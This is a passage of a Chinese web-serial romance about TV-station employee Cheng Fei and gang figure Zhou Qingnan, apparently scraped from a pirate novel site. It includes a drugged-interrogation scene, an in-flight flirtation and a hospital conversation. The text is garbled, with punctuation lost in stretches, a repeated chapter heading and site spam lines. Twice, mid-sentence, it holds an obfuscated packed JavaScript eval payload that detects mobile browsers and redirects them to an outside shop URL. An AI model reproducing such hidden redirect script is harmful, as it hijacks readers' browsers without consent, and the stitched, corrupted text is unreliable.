短短零点几秒,两个古惑仔终于后知后觉地顿悟——这小姑娘的确是汽修厂那晚老大当众公开的心肝宝贝儿,但碍于家人在侧,不便暴露,这是要他们也配合演戏呢。 思及此,混混二人组当即乖觉,当即改口,嬉皮笑脸地说:“对对对,我不该套近乎喊您大嫂,应该叫美女姐姐。” 混子A接着说:“美女姐姐,您先消消气,这会儿条子……警察同志,正在里面给你阿姨录口供,等他们出来,我们立刻就进去给阿姨道歉。您看成么?” 程菲怕再扯下去会被爸妈看出端倪,不再跟两个古惑仔说话,双臂一边一个揽住程国礼和蒋兰,将二老往病房里推,小声道:“走吧爸妈,这两人脑子不太好使,别理他们了。” 程国礼是个大龄钢铁直男一根筋直得很自然是闺女说什么他就信什么。可蒋兰就没那么好糊弄了。 她让程菲推着往里走进门之后越想越不对劲不由又回头看了眼两个头上缠满纱布的小混混。 古惑仔二人组这时的态度已经一百八十度大转变。 从最开始的吊儿郎当满脸不耐烦变得站姿规矩满脸堆笑端正得跟下一秒就要去国旗下讲话似的。见蒋兰目光投来两人还朝她点了个头哈了个腰很乖很有礼貌地说了句:“阿姨慢走啊。” 蒋兰:“……” 蒋兰看着这两个古惑仔就冒火匆匆将视线收回又看向身边的闺女神色狐疑。 蒋兰压低声问程菲道:“菲菲你和那两个小混混认识?” “不认识啊。”程菲毫不犹豫地回答“当然不认识。” 蒋兰有点不信眉头越皱越紧“那他们怎么这么听你的话?你说一他们就不敢说二 程菲眨眨眼装傻充愣干笑着打哈哈回道:“有吗?妈你想太多了吧错觉错觉。” “听你顾姨说这两人是派出所的常客在警察面前都飞扬跋扈嚣张得很。怎么见了你就跟妖魔鬼怪见了如来佛祖似的?” 蒋兰纳闷儿得很说着说着忽地眸光惊跳生出一个猜测惊道:“你该不会认识了什么不三不四的社会大哥吧?” 程菲被口水呛得闷咳一声被说中心事后只觉心虚又窘迫只能故作不满地跺了跺脚撒娇道:“妈我在电视台上班每天起早贪黑忙得跟狗一样哪儿来的机会认识什么社会哥啊?” 说到这里见蒋兰女士仍有疑虑还想拷问自己她赶忙又可怜巴巴地望向程国礼“爸你听听妈在说什么呢。” 程国礼向来是个闺女脑见女儿向自己寻求支援当即清了清嗓子说:“就是。咱菲菲多优秀多正经一个小姑娘怎么可能认识什么社会哥你别这么疑神疑鬼的。” 程菲小声附和:“就是别疑神疑鬼。” 蒋兰见这对父女跟唱双簧似的只觉无奈笑嗔道:“你们两个就一个鼻孔出气吧早晚给我气出乳腺结节。” 病房里除了打着石膏的顾静媛之外还有两 个身着制服的民警一男一女男警官站在窗边打电话女警官则坐在病床旁做笔录。 程菲压着步子轻手轻脚靠近将买来的住院用品放进柜子又压着步子轻手轻脚地离远点儿找了个椅子坐下玩手机。 十来分钟后笔录做完女警官收起纸笔站起身来对病床上的顾静媛道:“顾女士谢谢你的配合。这段时间你就安心养伤后续事宜我们会再跟你联络祝你早日康复。” 顾静媛点了下头淡笑着说:“辛苦了警官。” “职责所在没什么辛苦的。”女警官客气回了句。 这时窗边的男警官也打完了电话见同事这边忙完了当即沉下脸子看向病房门口冷冰冰道:“欸 程菲这会儿正在给一个苹果削皮准备分给两位警察同志吃。听见男警官的声音她下意识转过头朝病房门口看去。 只见两个古惑仔青年很快就耷拉着脑袋、老老实实地进来了。 两人走到顾静媛的病床旁站定过后立马就是一个90度鞠躬几乎是扯着嗓门儿异口同声地吼道:“对不起阿姨!我们错了!我们就是屎壳郎戴面具臭不要脸!” “……咳。”顾静媛正在喝水被呛住。 两个警官也愣了下。 程菲手一抖削了一半的苹果吧嗒一声掉在了地上。 顾静媛着实被两人的洪亮嗓门儿给吓了一跳缓过劲后擦擦嘴杯子一放嫌弃地冷哼一声“昨晚上不是还要砍我全家怎么不敢砍了?” 混子二人组舔着脸笑忙不迭地摆手摇头:“喝多了说胡话阿姨千万别当真别当真。” 两人道完歉顿了下看都没看旁边的两个警官而是扭过脑袋讪讪地望向了身后紧张兮兮地试问:“姐这样道歉还可以吧够不够诚恳?” “……”程菲黑线脸心想要不是这里人多我真想一人给你们俩一脚。 好在没等她有反应边儿上的男警官已经厉声斥道“老实待着!谁许你搭讪了!” 几分钟后两名警官准备将两个古惑仔带回警局继续调查。 临走之前混子A趁两名警察同志不注意又偷摸着凑到程 菲边儿上,用只有两人能听见的音量,压低嗓子说:“大嫂,我崇拜周先生很久了,相聚就是缘,你能不能帮我跟周先生牵个线,跟他说说,让我以后跟他老人家混?我孔武有力满身肌肉,真的超能打的! 程菲闻声,看了眼这人被包成木乃伊的脑袋,对他最后的那句话表示深深怀疑。 “大嫂,拜托了,帮帮忙。刚说完这一句,男警官便大步过来拎起了混子A的后领,拽着他离开。 望着古惑仔二人组远去的背影,程菲摇头叹了口气,接着便将注意力收回,继续陪顾姨和爸妈聊天。 * 午后阳光晴好,微风徐徐,一辆纤尘不染的纯黑色越野驶入滨港西郊一带。从大道转弯,拐入林荫小径,道路两旁树木参天,阳光从枝叶缝隙里投向大地,落下一池的斑驳树影。 一座庄园别墅坐落在林荫道尽头,铁艺大门前是值勤的佣兵,个个西装革履不苟言笑,满脸都是凛然杀气,等闲不敢靠近。 黑色越野渐渐驶近,门岗佣兵看见车牌号,甚至连拦截的手势都没敢有,示意开门放行,一路畅通无阻。 下午一点整,周清南准时出现在西郊梅宅。 下了车,管家徐叔出门来迎他,恭恭敬敬唤他一声周先生,替他将身上的西服外套接过,往胳膊一搭,客气而又拘谨。 “梅老呢。周清南淡淡地问。 “昨天夜里西郊这边刚下过雨,花园里长出来不少蘑菇,蝶小姐听说之后感兴趣得不行,让梅老陪她摘蘑菇去了。徐叔面上挂着从容笑色。 周清南听后没什么反应,漠然地点了下头,回徐叔:“那我去书房等梅老。 说完,他转身就往电梯方向走去。 背后却又传来徐叔的声音,“周先生。 周清南脚下的步子停住,回转身去,神色平静而冷然:“什么事。 徐叔低垂着眉眼,语气没有丝毫变化,仍是恭敬而温和的,笑着道:“梅总吩咐过,您来之后,得先去地下室见一下江博士。 话音落地,周清南眼底急速掠过一丝寒色,静了静,颔首:“知道了,你去忙吧。 徐叔低着头又冲他一笑,转身离去。 * 几分钟后,周清南只身一人走进位 于别墅内部的电梯,摁亮了地下室所在的“B1层。 电梯门缓慢关紧,电梯平缓下行。 叮。 电梯门开。 他踏着步子走出去,电梯口早已经等了四个人,除三个体态高大健硕的外籍佣兵外,为首的则是身着白大褂的儒雅老者。 看见周清南,江博士弯了弯唇角,笑容慈爱地招呼道:“周先生,我们又见面了。 周清南目光从江博士脸上扫过,瞥眼那三个面貌冷峻的佣兵,嘴角一勾,挑起个懒漫又带几分轻讽意味的笑,没有说话。 “这边请。江博士推了推鼻梁上的眼镜,侧身让开一条路。 周清南移步向前。 不多时,几人来到一个不足二十平米的屋子。墙上没开窗,只有几盏幽冷的白炽灯悬在头顶上方,投下的灯光惨白而又森冷。 房间正中摆着一架叫不出名字的大型仪器,仪器旁还有一个药品架,摆满各类瓶瓶罐罐;一个特制单人椅,扶手椅脚均带有特制绑带,看着像某种用于逼供的刑具。 周清南全程没有说一个字,径自上前,坐在了单人椅上,眉眼沉静而冷漠,面无表情。 江博士走到仪器前,摁下了开机键,朝几个佣兵递了个眼色。 几人得令,走过去,到了周清南跟前仍心有忌惮,用英语迟疑地说了句:“Sorry,sir。 周清南不作声,他们这才壮着胆子弯下腰,动手将周清南的双臂双腿均牢牢绑在椅子上,然后又熟练地拿起仪器上的探头,粘接在了周清南的脑补区域。 尖锐针头刺破皮肉。 硫喷妥钠被注入周清南的静脉血管。 周清南十指用力收握成拳,短短几秒光景,一股难以言喻的剧痛袭击大脑,仿佛万虫嗜咬般,他的大脑开始拉扯,混沌,迷乱,所有神经都疼痛到麻木,逐渐被外力接管掌控。 迷蒙之间,他听见有脚步声在靠近,沉稳闲散,不紧不慢的。 “昨天晚上你在哪里?一个声音在他耳旁问,语气很随意。 “尹华道468号。 “干什么了? “睡觉。 “你父母呢。 “死了。 随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591623|94205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便问了几个问题 过后梅凤年抽了口烟看眼江博士江博士目光浏览过仪器显示屏上的各类数据朝梅凤年点了点头示意药效已经完全发作。 梅凤年视线重新回到眼前的年轻人身上。 “最后一个问题。”片刻他慢悠悠地俯低身子往周清南贴近几分眼眸微微眯起温声细语地问“你是不是警察?” 周清南唇色苍白左侧脸颊因为药物巨大的副作用而不住痉挛眼底赤红一片沉声:“不是。” 梅凤年扬了下眉侧目看江博士 江博士闻言却面露难色答说:“用的量已经是人体能承受的极限再加会死人。” 梅凤年便咬着烟缓慢直起身子居高临下地审度着刑椅上的年轻人好一会儿才满意地勾起嘴角摆手随口说:“扶周先生回我书房休息。” 周清南头垂得很低额前碎发挡住他眉眼瞳色阴沉狠戾听见梅老最后一个字音落地的刹那咬紧的牙关骤然松开舌尖尝到腥甜才惊觉口腔内全是咬碎牙齿渗出来的血…… * 之后几天程菲的工作核心便落在了筹备兰贵之行上当地政府对滨港电视台的扶贫新栏目非常重视不仅派了专人跟滨港电视台对接还提前数日便替贵宾们准备好了下榻的酒店。 县政府的贴心之举无疑为程菲减轻了不少工作量。 距离出发日期越来越近这天早上程菲照旧在八点整时给远在京城开会的徐霞曼发去了一份工作汇报。 汇报完她想了想又敲字询问道:徐总还有几天就要启程前往兰贵我们是不是可以订机票了? 徐霞曼:可以。 程菲:好的。 徐霞曼:梅总那边有没有其他安排。 程菲明白徐霞曼想问什么当即回复道:上次听梅总提了一下他们要坐梅氏的私人专机当时还邀请了我和梁主任我婉拒了。 徐霞曼:为什么拒绝? 看着徐霞曼发来的这个问句程菲眨了眨眼睛略思索回复道:因为我想咱们是去兰贵扶贫不是去观光梅氏集团是私企无所谓要是我和梁主任坐了梅四公子的公务机可能会对咱们台产生负面影响…… 发送完程菲心中又有 点不安,补充了句:不知道是不是我想太多? 徐霞曼:你有这层考虑很难得,也很正确。 得到徐大BOSS的肯定,程菲不禁鼓起腮帮吐出一口气,弯着唇,敲字:徐总,我今天就把去兰贵邻市的机票订好吧。 徐霞曼:不用,你把你的身份证号码发我就行。 程菲只当徐霞曼是体恤自己工作任务重,所以把订购机票这种活安排给了其他人干,也没多想,随手便将自己的身份证号码发送了过去。 徐霞曼:OK 程菲:那就麻烦徐总了。 徐霞曼那头应该是又在忙,程菲的这条消息发送出去后,没有再收到回复。见状,她便也随手将手机放到一旁,打开文档继续办公。 中午12点多,程菲去单位食堂吃了份猪脚饭,正喝着咖啡慢悠悠地爬楼梯消食,忽然听见兜里叮一声,提示有新的微信消息发来。 她下意识以为是徐总监布置工作,忙忙点亮屏幕,一瞧,眸光却忽地微闪。 发信人在她手机里没有备注,昵称是一个简单的Zhou,头像是一片沉静悠远的夜空。 Zhou:中午好 程菲:“…… 程菲额头不禁滑下三条黑线,汗颜。 自打那天在医院住院部楼下,某周姓大佬威逼利诱她加回微信好友后,这位大爷就每天都会给她发三条微信消息。 早上七点发“早上好 主打一个真挚的问候不在话多,多一个标点符号都算他输。 对此,程菲也十分的佩服。 她当时给出的删好友理由,是他从来不跟她聊天,这下好了,人大佬说到做到,说要每天都给她主动发消息,他就坚持至今,不仅发,还一天三条。 可问题就在于,别人给女孩子发消息,都是变着花样连续一周没有一个重样的,可人黑老大就是黑老大,永远不走寻常路,这么多天硬是纹丝都不变。 就问你牛不牛? 反正程菲是佩服到五体投地。 看着对话框里那条“中午好,她垂着眼帘抿了抿唇,继而挪动手指,在输入框里敲下了两个字:同好。 敲完,又哐哐哐删完。 关键时刻,程菲及时回忆起了小温军师倾情指导的“八字箴言,在心里愤愤吐槽两句,熄了屏—— 你个男祸水,乱我心神罪不容诛,谁好你丫都不能好! * 三天后,程菲正式拎着她两百块买的拉杆箱,背着从大学用到现在的碎花书包,踏上了从滨港前往兰贵的旅程。 这三天里面,程菲除了收拾行李准备各项资料外,还抽空好奇了一下,那位扬言要全权赞助她们台扶贫栏目的爱国黑老大要怎么过去,甚至还生出了发微信问问那兄弟的念头。 好在,这个罪恶的想法刚一萌生,正义的八字箴言便闪着金光从天而降,直接将它砸得粉碎。 连续数日,程菲再没有联系过周清南。 这天是星期六,程国礼比较闲,得知宝贝闺女要去出差后,他立刻来了精神,拿起车钥匙就乐颠颠地说:“走,送你。 程菲不想麻烦她爸,拒绝再三,奈何父上盛情难却,最终只得妥协,上了自家那辆桑塔纳老爷车。 路上,程国礼开着车随口问:“听你妈说你是去兰贵出差? “嗯。程菲正在手机上和温舒唯聊微信,随口回她爹,“我们台策划了一个扶贫栏目,准备过去取材。 “原来是这样。我刚还奇怪呢,那地儿穷得鸡不拉屎鸟不下蛋,你们去那儿出差干什么。程国礼说,“如果是扶贫那就很合理了。 程菲看老爹一眼,“爸你去过兰贵? “去过啊。程国礼说,“不过都是很多年前了,当时看着到处都破破烂烂乱糟糟的,可能现在有新面貌。 “哦。程菲点点头。 父女两人又东拉西扯聊了会儿。 突地,程国礼像是想起什么,用眼风扫了身旁的闺女一眼,微蹙眉,迟疑两秒才打扫了一下喉咙,试探着说:“女儿。 程菲刷着朋友圈,头都没抬:“唔? “你那个男朋友……程国礼回想起那张似曾相识的模糊照片,语气复杂,“叫什么名字?姓什么? 程菲闻声,指尖的动作瞬间僵住,顶着满头黑线看向她老爹,正色:“我再说一次,我、没、有、男、朋、友。 程国礼见这丫头跟只炸毛的小猫似的,奶凶奶凶打死 第 39 章 “就想黏着你。” 第39章“就想黏着你。” 听完身边大佬的话,程菲不禁黑线脸,无言以对。 包? 你初中语文是体育老师教的吧,包这个动词是这么用的? 几秒后,她脑子里蓦然又想起上飞机前梁瀚那张比锅底还黑的大胖脸,再结合刚才从周清南口中听见的“只包你”言论,恍然大悟。 程菲低呼出声,道:“所以,我们台去了两个人,你只给我报销了头等舱机票钱,压根儿没管梁主任?” 周清南:“没。” “难怪他刚才的表情那么难看。”程菲蹙着眉,自言自语似的嘀咕,“八成是以为我问他那句话是奚落他,尴尬,这不闹误会了么……” 她说话的音量不大也不小,周清南离她近,刚好把所有发音都听得一清二楚。 这位大佬仍旧保持着单手托腮的造型,微垂着眼皮直勾勾盯着她,漫不经心道:“你们那个主任心术不正,本来就不是什么好货色,他之前在饭局上给你使绊子,你奚落他不是很正常。” 程菲闻言,忍不住瞟周清南一眼,说:“你没上过班吧?” 周清南:“……” 周清南:? 只见这小姑娘问完这句后,又换上了一副老气横秋的表情,小老太太似的摇摇头,感叹说:“你一看就是年纪轻轻就在道上混了,没经历过职场的毒打。” 周清南被她这模样惹得笑,眉峰微抬,道:“你到底想表达什么。” “梁主任怎么说也是我的上级、我的领导,我就算知道他人品不咋地,也不能当着他的嘲讽他奚落他啊。”说到这里,程菲顿了下,不由地小肩膀一塌,愁容满面,“他本来就看我不顺眼,现在又闹出了刚才那一出……这次的兰贵之行我跟他是搭档,他肯定会想各种损招使唤我折腾我。” 周清南:“不会。” 程菲闻声,狐疑地抬眸,看向他:“……为什么不会?” 周清南语气挺随意,说:“他要折腾你,也得看我给不给他机会。” 程菲还是有点没反应过来:“什么意思?” “你在兰贵的所有花销都由我赞助,朝夕相处,日夜相对。”周清南淡淡地说,“我都把你包了 ,他不敢犯贱。 程菲:“…… 你够了啊,再提包字儿别逼我翻脸。 程菲脸色微微一红,静默了会儿,对眼下的境况是在好奇,便又小声试探着问他:“所以说,当时我们徐总监找我要身份证号码,其实是发给了你,你帮我订的票? 周清南摇头:“不是。 程菲错愕:“嗯? 周清南在座椅上懒洋洋地调整了一下坐姿,继续好整以暇地瞧她,吱声:“这事儿我是交给的陆岩去办,票和座位都是他选的。 “所以,是陆岩给我定的头等舱?程菲明白过来,“也是他在线上值的机,把我们俩安排在了邻座? 谁知,身旁的大佬再次摇头:“不是。 程菲默,额头滑下一滴豆大的冷汗,用一副极其无语的表情看周清南。 静谧空间里,两个人就这么无声对视,一个散漫自若一个杀气腾腾,气氛逐渐微妙。 过了大约两秒钟。 程菲闭上眼,做了个深呼吸,边在心里默念“这是赞助商这是甲方这是爸爸,你再气也不能给他一巴掌,边扬高嘴角,挤出一抹甜美动人的职业微笑,睁开眼,望向身旁的大佬。 她用相当温柔的语气,说:“那请问周总,这件事的实际情况到底是怎么样,您老人家能一次性说完整、说清楚吗?“ 话音落地,周清南顿了下,随后便盯着她慢吞吞地开了口,说:“实际情况就是,我专程找了你的总监,表示要全程赞助你个人的所有花销。 “然后呢? “然后我就让陆岩去订票。 周清南说这些话的时候,程菲就坐在旁边定定望着他,一面认真听,一面认真观察,充满了防备心理。 她猜测这位大佬昨晚应该是没睡好,睡眠质量欠佳,导致他这会儿有点困,英秀漂亮的眉眼间隐隐流露着一丝倦意,整个人看上去松懒又痞气。 美男如画,不是一般的养眼。 ……等等。 他刚说什么来着?让陆岩订相邻座位,是他的意思? 程菲从这位大佬的话语中听出了一个槽点,心生不 解想都没想便脱口问道:“你为什么要特地让陆岩给我们订邻座?” 周清南闻声撩起眼皮看她一眼像是对她这个问题有点儿困惑回道:“什么为什么。” 程菲呆住嘴唇蠕动两下正要答话一旁的大佬却已又自顾自地来了句补充。 他目光笔直不移地瞧着她很平静地反问:“程助理现在是我包下的人。我想挨着你坐还需要理由?” 程菲:“……” 程菲哪能料到这位大佬会来段这么刺激的离谱发言错愕之余整张白皙的脸蛋瞬间涨成了石榴色。 她瞪着周清南足足两秒钟都没反应过来。等回神下意识就想骂人可余光扫过周围—— 头等舱舱位这边安静得很其他的乘客要么在自己的座位上看书睡觉要么戴着耳机看电视追剧几乎听不见任何交谈的声音。 也就是说她如果这会儿对他激情开麦必定会打扰到周围乘客引发众怒。 为了不被千夫所指程菲只能深吸一口气吐出来选择了隐忍。 她盯着周清南眯了眯眼睛接着便压低声音道:“请周总注意自己的措辞你只是全程‘赞助’不是‘包’你一说包字我就会联想到‘包养’这个词歧义实在太大了谢谢。” 周清南扬眉:“那你想象力挺丰富。 程菲:? “普通人听见包字只会联想到‘包办’。”周清南笃悠悠地瞧着她稍顿 “……”……OK。 是我思想龌龊行了吧? 程菲无言不知道还能对这个逻辑清奇的大佬说什么只能默默将自己随身背的书包取下拉开拉链伸手在里面掏起来。 周清南在边儿上瞧着她只见这小姑娘在书包里掏啊掏找了差不多有半分钟才终于抽回手从里面拿出来一个印着草莓熊的小分装袋让她塞得鼓囊囊的不知道装了些什么。 接着她打开袋子的密封口。 周清南托着腮没什么表情注意到她这个举动下意识低眸瞧了眼。 袋子里装着好些水果蔬菜干品种丰富有香蕉草莓秋葵山药……看上去五颜 六色。 再然后他就看见这姑娘从这座水果干堆成的小山包里选出了一个绿油油的小圆片拿两根纤细瓷白的手指捏住给他递了过来。 “?” 周清南视线上撩从绿色小圆片来到女孩娇媚的脸蛋对上那双黑白分明的眼儿挑了下眉意思是:干什么。 程菲学起这位大佬往日的淡漠表情酷酷地道:“给你的拿着。” 大概是很少被人这么使唤命令过周清南滞了下随后竟很听话地伸手接过。 他:“这是什么。” “我姑妈自己做的水果干。”程菲说着自己也拿起一块草莓干放嘴里腮帮鼓鼓地嚼含糊道“分个猕猴桃干给你吃。” 拿吃的赶紧把这张嘴堵上别说话了您老。 那头周清南听完程菲的话眉峰不由又挑高几寸 吃完周清南很细微地勾了勾唇声调不自觉便柔几分说:“谢谢味道不错。” 午后光景飞机还没起飞阳光透过窗户照射进来为那副英俊冷硬的轮廓勾勒出一圈淡金色的边加上唇畔那抹浅笑他整个人仿佛褪去了几分戾气比平日要温和许多。 这一幕落在程菲眼中竟令她怔怔出神。 可这样的失神并没有持续太久。 仅仅两秒不到程菲便嗖地清醒过来飞快移开视线看别处。 “……不客气。” 她心跳急促耳根灼烫应了句掩饰慌乱般清了清嗓子又把果蔬干往周清南那边搡了搡故作淡然地说“反正我一个人吃不完也是浪费周总想吃就自己拿。” “你吃吧。” 昨晚只睡了三个多钟头周清南确实乏说完便合了眸子闭目养神。 一旁程菲刚拿起一块苹果干咬了口余光瞥见这位大佬又开始打盹儿想到什么不禁轻皱眉头小声道:“这架航班只能先飞平南我们要去兰贵下了飞机还得转大巴。你本来就是个伤患受不住这么颠簸的路程吧……” 闭着眼视野漆黑耳畔的碎碎念便显得尤为清晰。细软的声口猫崽叫唤似的一字一句每个音符都蛊惑着周清南的感官。 他没有睁眼只 是懒散地应她:“受不受得住这一趟我也要亲自跟。” “为什么呀?”程菲着实困顿“就因为不想我们台跟梅氏合作?” 她有时候甚至怀疑这位大佬横插一刀从中作梗怕不是跟梅氏集团或者梅家那位小少爷有什么仇。 “不是因为这个。”周清南否认。 程菲更不明白了:“那到底为什么。” 周清南仍旧没有睁开眼表情平静如水回答道:“我只是害怕会有坏人伤害你。” 话音落地的刹那程菲蓦地一怔。 周清南用的词不是担心不是不想而是害怕……她一直以为他们这种人过惯了刀刀锋舔血的日子是不会再有害怕这种情绪的。 该不是她耳背听错了吧? 程菲有点不确定目光定定盯着男人冷峻如画的侧颜瞧正想再向这位大佬求证一下漂亮的乘务员小姐姐却已再次出现。 “各位旅客我们的飞机即将起飞请您系好安全带照看好小孩不要离开座位在机舱内走动。谢谢!” 身着制服的乘务员声线甜美说完一遍字正腔圆的国语后又面朝全体头等舱乘客说了一遍英语。 程菲未出口的话语就这样被打断。 她低头系安全带忽地眸光微闪想起什么不由又咬了咬唇瓣懊丧地叹出一口气。 明明已经下定决心挥刀斩情丝要对他冷淡下来的结果每次见了面八字箴言就会被自己忘到九霄云外眼神、心思不由自主就会跟着他转…… 真是的! 从现在开始到下飞机她坚决不再跟他说一句话! 程菲正色握拳打定了主意 然而计划实施了不到两分钟便被无情打破。 耳畔冷不丁传来一道低沉慵懒的嗓音问她说:“你会不会讲故事。” 大概是正在假寐的缘故周清南的声音听上去有点儿沉也有点儿哑莫名的性.感又撩人。 程菲:? 程菲卡壳半秒随之茫茫然地转过头看向仍旧闭着眼神色懒倦的大佬。 他刚才问什么来着会不会 讲故事? 程菲支吾了下,一头雾水地问道:“周总在跟我说话吗? 闻声,周清南稍顿半秒,接着便撩开眼皮朝她看来,眼白隐隐散布着几道红血丝,眸光幽沉,深不见底。 周清南:“我旁边除了你以外,还有第二个人吗。 “……好的。程菲这下确定了,这位大佬确实是在向她本人提问。 虽然不知道周清南问她这句话是什么意思,但良好的职业素养使然,程菲思考两秒后,依然很认真地回答:“算会吧,我大学的时候去福利院做过义工,那段时间经常给小朋友讲故事。 周清南:“讲一个给我听听。 程菲:“? 程菲本来就迷茫,这下更呆了,眸子睁大,用一副格外困惑的眼神看周清南。 周清南这时已重新阖眸,漫不经心道,“我睡不着,麻烦程小姐讲个故事帮我催眠。 “…… 你是三岁小朋友吗?讲个故事帮你催眠?我一记天马流星拳直接给你砸晕岂不是更快? 程菲无言以对,抬手捏了捏眉心,静默好几秒才重新做好表情管理,冲身旁的大佬露出一个温柔微笑,道:“周总,您可能有点误会,我说的会讲故事,仅仅是只限于六岁以下小朋友听的故事,就比如说小红帽和大灰狼、搬南瓜的大脚巨人这种。 周清南合着眸眉眼沉静,再自然不过地回答:“那就搬南瓜的大脚巨人吧。 程菲:“…… 那一刻程菲甚至以为自己幻听了,又向这位爷确认了一次,最终得到肯定答复。 一时间,程菲风中凌乱。 但凌乱归凌乱,人周大佬毕竟是她们新栏目的赞助商,程菲自问爱岗敬业,绝不将个人情绪带进工作。 因此,她很快就收拾好心情,耐着性子压低声,给身边这位超级残暴杀人不眨眼的黑老大,讲起了儿童故事:“在很久以前,遥远的魔法森林里住了一个小矮人,他非常喜欢吃南瓜,所以给自己种了一大片南瓜。后来,收成的季节到了,小矮人就背着自己的小背篓哼哧哼哧地来到地里,准备收南瓜,可是小矮人实在太矮也太小了,每次只能往小背篓里装一个南瓜…… “天呐,这么多的南瓜,我得搬到什么时候呀 !”程菲控制着音量的同时也不忘声情并茂“小矮人苦恼地想。忽然他灵光一闪想起了自己的好朋友大脚巨人!” …… 周清南安静地闭着眼视线中是一片暗无天日的黑。 听着耳边姑娘轻缓温柔的嗓音他一阵恍惚莫名便想起了很多年前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591624|94205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那年的滨港还没有大规模开发 说的域名qiexs⒘(请来企鹅小 说 看最新章节 完整章节)雾霾不重每当夜晚降临天上便繁星闪烁。 那年他只有十岁出头无父无母游走在破败老旧的街巷中是所有人眼中的灾星和瘟疫没有任何同龄的孩子愿意接近他。 那天一个星河绚烂的夜他实在太饿壮起胆子抢来两个干面包还没啃完便被追上来的老板一顿毒打伤痕累累蜷在街角。 也是那天夜星引路命运垂怜一抹小小的白色身影走进了他模糊的视野仿佛鼓起了莫大的勇气般在他面前的脏地上放了一支廉价棒棒糖。 那一夜小少年以为自己会死。 但他最终没有。 他颤着手拆开糖纸将棒棒糖放进嘴里咬得粉碎。 劣质甜浆的味道在唇舌间爆裂开就是靠着那零星半点能量和养料咬牙撑到了天亮。 从那天起周清南就告诉自己:死不成就得好好活还他妈要活得像个人样。 * 滨港市人民医院住院部骨科病房区。 顾静媛穿着病号服坐在床上旁边的床头柜上摆着一份银耳粥装在保温桶里显然是刚熬好就给紧赶慢赶地送到了医院桶沿上方还冒着热气白雾袅袅。 瞧着那份新鲜现熬的粥隔壁床新来的阿姨羡慕得不行忍不住数落身边的丈夫:“你瞧瞧人家的老公媳妇住院了还亲手给熬粥你再瞧瞧你随便在医院门口买两个包子就把我打发了!” 阿姨的丈夫是个身形矮壮的中年人黝黑而敦实。听阿姨说完他皱了下眉下意识往旁边病床的方向瞟了眼。 只见窗边站着一道高大人影肩宽腰窄大长腿正以一种很闲散的姿态靠在窗台上打电话光看那背影身材怎么瞧都不像是他们这一辈的同龄人还以为是个三十出头的帅小伙。 对方打着电话说话的声音也低沉而醇厚像酒却不过分浓痞气和 稳重融合得恰到好处。 中年大叔打量了陈家槐几眼后,便将目光收了回来,压低嗓子酸溜溜地回妻子话:“人家一看就是能挣钱的,我每天起早贪黑下工地,累都累死了,哪儿来的闲工夫给你熬粥啊!知足吧,有包子吃就不错了。” 说完,中年大叔懒得再搭理阿姨,拿起水壶到开水房接水去了。 阿姨冲丈夫的背影翻了个白眼,脑袋转回来,继续用艳羡的表情望着一旁的顾静媛。 顾静媛离得近,早就听见了旁边两个人的窃窃私语,但她脸色冷淡。懒得解释,自顾自拿起勺子便舀起一勺粥,呼气吹凉,吃起来。 病友阿姨没忍住好奇心,问道:“欸妹子,你男人是做什么工作的呀?看他每天陪着你又不用上班,在哪儿发财呀?” 说更新,记住域名qiexs.com?(请来企鹅小 说 看最新章节 完整章节) 顾静媛吃着粥眼皮都没抬一下,随口道:“收债的。” 病友阿姨愣住,像是对这个职业很陌生,“这行当挣钱吗?” “挺能挣的吧,一个月小几万不是问题。”顾静媛淡声说。 病友阿姨一听,眼睛顿时放亮光,又想到自己老公在工地上每天累个半死也只能挣点糊口钱,当即好奇道:“那怎么入行,你们有门路吗?” 顾静媛:“黒社会需要什么门路,胆子大,敢砍人,老大出了事敢背锅坐牢不就行了。” 病友阿姨:“……” 病友阿姨挤出个干笑,之后就一句话都不敢再跟顾静媛说了。 不多时,护士进来叫了病友阿姨的名字,让她去楼下的放射科做检查。 阿姨忙颠颠应下,出门时正好遇上丈夫打水回来,赶紧拽着人就从病房里出去了,箭步如飞,跟背后有罗刹鬼似的。 病房里瞬间安静。 顾静媛抻长脖子瞧了眼病友的背影,眼底掠过一丝恶作剧得逞般的笑意。 “你无不无聊。”陈家槐挂断电话走过来,凉凉道,“到处说我坏话,谁告诉你我现在是黒社会?” “收债的和收保护费的有多大区别?”顾静媛说,“都是出尽招法掏人腰包。” 陈家槐一屁股坐在椅子上,两条大长腿大马金刀地分两旁,身子微俯,手肘撑膝,流气地回她:“区别大了。一个是欺压百姓,一个是欠债还钱天经地义。能比吗。” 顾静媛拿勺子搅了下保温桶里的粥,静了静,忽然又说:“那你去云城干了这么些年,打听到什么消息没有? 陈家槐脸色微沉,眼帘低垂下去,没应声。 顾静媛定定注视着他:“别以为我不知道。当年你只身去云城,再入江湖,不就是想着那一行龙蛇混杂关系广,方便打听那孩子的下落吗? 陈家槐还是没说话,低头从裤兜里摸出一包烟,取出一根放嘴里,准备拿打火机点燃。 顾静媛:“菲菲说过,医院禁止吸烟。 “…… 病房窗户没关严,一阵风吹进来,深蓝色的窗帘随风轻晃。 过了好一会儿,陈家槐才淡淡地说:“阿城在天有灵,会保佑我找到他的。 * 飞行还算顺利,中途只遇到了三次微弱的气流颠簸。傍晚时分,夕阳遥遥悬垂在城市的边际线上,从滨港飞来的8794次航班于平南机场平稳降落。 